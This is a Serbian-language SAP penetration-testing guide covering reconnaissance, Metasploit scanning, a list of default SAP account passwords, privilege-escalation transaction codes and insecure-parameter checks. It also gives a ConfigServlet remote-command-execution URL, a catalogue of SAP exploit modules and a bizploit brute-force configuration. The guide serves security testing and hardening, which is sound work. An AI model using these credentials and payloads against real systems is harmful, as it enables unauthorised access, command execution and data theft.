SAP označava Sistemske Aplikacije i Proizvode u Obradi Podataka. SAP, po definiciji, je takođe naziv ERP (Planiranje Resursa Preduzeća) softvera kao i naziv kompanije. SAP sistem se sastoji od niza potpuno integrisanih modula, koji pokrivaju praktično svaki aspekt upravljanja poslovanjem.
Svaka SAP instanca (ili SID) se sastoji od tri sloja: baze podataka, aplikacije i prezentacije), svaki pejzaž obično se sastoji od četiri instance: dev, test, QA i produkcija. Svaki od slojeva može biti iskorišćen do određene mere, ali se najveći efekat može postići napadom na bazu podataka.
Svaka SAP instanca je podeljena na klijente. Svaki od njih ima korisnika SAP*, ekvivalent aplikacije za “root”. Pri inicijalnom kreiranju, ovaj korisnik SAP* dobija podrazumevanu lozinku: “060719992” (više podrazumevanih lozinki u nastavku). Iznenadili biste se kada biste znali koliko često se ove lozinke ne menjaju u test ili dev okruženjima!
Pokušajte da dobijete pristup shell-u bilo kog servera koristeći korisničko ime <SID>adm. Bruteforcing može pomoći, međutim može postojati mehanizam za zaključavanje naloga.
Proverite Opseg Aplikacije ili Kratak Program za testiranje. Zabeležite imena hostova ili sistemske instance za povezivanje sa SAP GUI.
Koristite OSINT (otvorena obaveštajna sredstva), Shodan i Google Dorks da proverite datoteke, poddomene i sočne informacije ako je aplikacija dostupna na internetu ili javna:
Koristite nmap za proveru otvorenih portova i poznatih usluga (sap ruteri, webdnypro, web usluge, web serveri, itd.)
Istražite URL-ove ako postoji web server.
Fuzz-ujte direktorijume (možete koristiti Burp Intruder) ako ima web servere na određenim portovima. Evo nekoliko dobrih lista reči koje je obezbedio SecLists Project za pronalaženje podrazumevanih SAP ICM putanja i drugih interesantnih direktorijuma ili fajlova:
Koristite SAP SERVICE DISCOVERY pomoćni Metasploit modul za enumeraciju SAP instanci/usluga/komponenti:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
Testing the Thick Client / SAP GUI
Here is the command to connect to SAP GUI
sapgui <sap server hostname> <system number>
Proverite podrazumevane akreditive (U Bugcrowd-ovoj taksonomiji ocenjivanja ranjivosti, ovo se smatra P1 -> Bezbednosna konfiguracija servera | Korišćenje podrazumevanih akreditiva | Proizvodni server):
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
Pokrenite Wireshark, a zatim se autentifikujte na klijenta (SAP GUI) koristeći kredencijale koje ste dobili, jer neki klijenti prenose kredencijale bez SSL-a. Postoje dva poznata dodatka za Wireshark koja mogu analizirati glavne zaglavlja koja koristi SAP DIAG protokol: SecureAuth Labs SAP dissection plug-in i SAP DIAG plugin by Positive Research Center.
Proverite za eskalacije privilegija kao što su korišćenje nekih SAP Transaction Codes (tcodes) za korisnike sa niskim privilegijama:
SU01 - Za kreiranje i održavanje korisnika
SU01D - Za prikazivanje korisnika
SU10 - Za masovno održavanje
SU02 - Za ručno kreiranje profila
SM19 - Bezbednosna revizija - konfiguracija
SE84 - Informacioni sistem za SAP R/3 autorizacije
Proverite da li možete izvršavati sistemske komande / pokretati skripte u klijentu.
Proverite da li možete uraditi XSS na BAPI Explorer
Otvorite http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#, zatim pritisnite dugme “Choose” i u otvorenom prozoru pritisnite “Search”. Trebalo bi da možete da vidite listu SAP korisnika (Referenca ranjivosti: ERPSCAN-16-010)
Da li su kredencijali poslati preko HTTP-a? Ako jesu, smatra se P3 prema Bugcrowd-ovoj Vulnerability Rating Taxonomy: Slomljena autentifikacija i upravljanje sesijama | Slaba funkcija prijavljivanja preko HTTP-a. Savet: Pogledajte i http://SAP:50000/startPage ili portale za prijavu :)
SAP Start Page
Pokušajte /irj/go/km/navigation/ za moguću listu direktorijuma ili zaobilaženje autentifikacije
Ako imate ispravne podatke za prijavu tokom pentest-a ili ste uspeli da se prijavite na SAP GUI koristeći osnovne akreditive, možete proveriti vrednosti parametara. Mnoge osnovne i prilagođene vrednosti konfiguracionih parametara se smatraju ranjivostima.
Možete proveriti vrednosti parametara kako ručno, tako i automatski, koristeći skripte (npr. SAP Parameter Validator).
Ručna Provera Parametara
Navigacijom do Transakcijskog Koda RSPFPAR, možete upititi različite parametre i potražiti njihove vrednosti.
Tabela u nastavku sadrži definisane parametre i uslove po kojima su razlikovani.
Na primer, ako je gw/reg_no_conn_info postavljen na manje od 255 (<255), onda bi to trebalo smatrati pretnjom. Slično, ako je icm/security_log jednak dva (2), to će takođe biti moguća pretnja.
Parametar
Ograničenje
Opis
auth/object_disabling_active
Y
Ukazuje da li je onemogućavanje objekta aktivno.
auth/rfc_authority_check
<2
Postavlja nivo provere ovlašćenja za RFC-ove.
auth/no_check_in_some_cases
Y
Precizira da li se provere zaobilaze u nekim slučajevima.
bdc/bdel_auth_check
FALSE
Određuje da li se provere ovlašćenja sprovode u BDC-u.
gw/reg_no_conn_info
<255
Ograničava broj karaktera za informacije o registracionom broju veze.
icm/security_log
2
Definiše nivo sigurnosnog loga za ICM (Internet Communication Manager).
icm/server_port_0
Display
Precizira port servera za ICM (port 0).
icm/server_port_1
Display
Precizira port servera za ICM (port 1).
icm/server_port_2
Display
Precizira port servera za ICM (port 2).
login/password_compliance_to_current_policy
0
Sprovodi usklađenost lozinki sa trenutnom politikom.
login/no_automatic_user_sapstar
0
Onemogućava automatsku dodelu korisnika SAPSTAR.
login/min_password_specials
0
Minimalan broj specijalnih karaktera zahtevan u lozinkama.
login/min_password_lng
<8
Minimalna dužina zahtevana za lozinke.
login/min_password_lowercase
0
Minimalan broj malih slova zahtevan u lozinkama.
login/min_password_uppercase
0
Minimalan broj velikih slova zahtevan u lozinkama.
login/min_password_digits
0
Minimalan broj cifara zahtevan u lozinkama.
login/min_password_letters
1
Minimalan broj slova zahtevan u lozinkama.
login/fails_to_user_lock
<5
Broj neuspelih pokušaja prijave pre zaključavanja korisničkog naloga.
login/password_expiration_time
>90
Vreme isteka lozinke u danima.
login/password_max_idle_initial
<14
Maksimalno vreme neaktivnosti u minutima pre nego što se zahteva ponovna prijava lozinke (početno).
login/password_max_idle_productive
<180
Maksimalno vreme neaktivnosti u minutima pre nego što se zahteva ponovna prijava lozinke (produktivno).
login/password_downwards_compatibility
0
Precizira da li je omogućena unazadna kompatibilnost za lozinke.
rfc/reject_expired_passwd
0
Određuje da li se istekle lozinke odbacuju za RFC (Remote Function Calls).
rsau/enable
0
Omogućava ili onemogućava RS AU (Authorization) provere.
rdisp/gui_auto_logout
<5
Precizira vreme u minutima pre automatskog odjavljivanja GUI sesija.
service/protectedwebmethods
SDEFAULT
Precizira podrazumevane postavke za zaštićene web metode.
snc/enable
0
Omogućava ili onemogućava Secure Network Communication (SNC).
ucon/rfc/active
0
Aktivira ili deaktivira UCON (Unified Connectivity) RFC-ove.
Skripta za Proveru Parametara
Zbog broja parametara, takođe je moguće eksportovati sve njih u .XML datoteku i koristiti skriptu SAPPV (SAP Parameter Validator), koja će proveriti sve gore pomenute parametre i ispisati njihove vrednosti sa odgovarajućim razlikovanjem.
./SAPPV.sh EXPORT.XML
Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
[...]
Napad!
Proverite da li radi na starim serverima ili tehnologijama kao što je Windows 2000.
Planirajte moguće eksploate / napade, postoji mnogo Metasploit modula za SAP otkrivanje (auxiliary modules) i eksploate:
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
Pokušajte da koristite neke poznate eksploite (proverite Exploit-DB) ili napade poput starog, ali dobrog “SAP ConfigServlet Remote Code Execution” u SAP Portalu:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
SAP Config Servlet RCE
Pre pokretanja start komande na bizploit skripti u fazi otkrivanja, možete takođe dodati sledeće za izvođenje procene ranjivosti:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
Other Useful Tools for Testing
PowerSAP - Powershell alat za procenu bezbednosti sap-a
Burp Suite - neophodan za direktorijumsko fuzzing i procene web bezbednosti
pysap - Python biblioteka za kreiranje SAP mrežnih protokol paketa
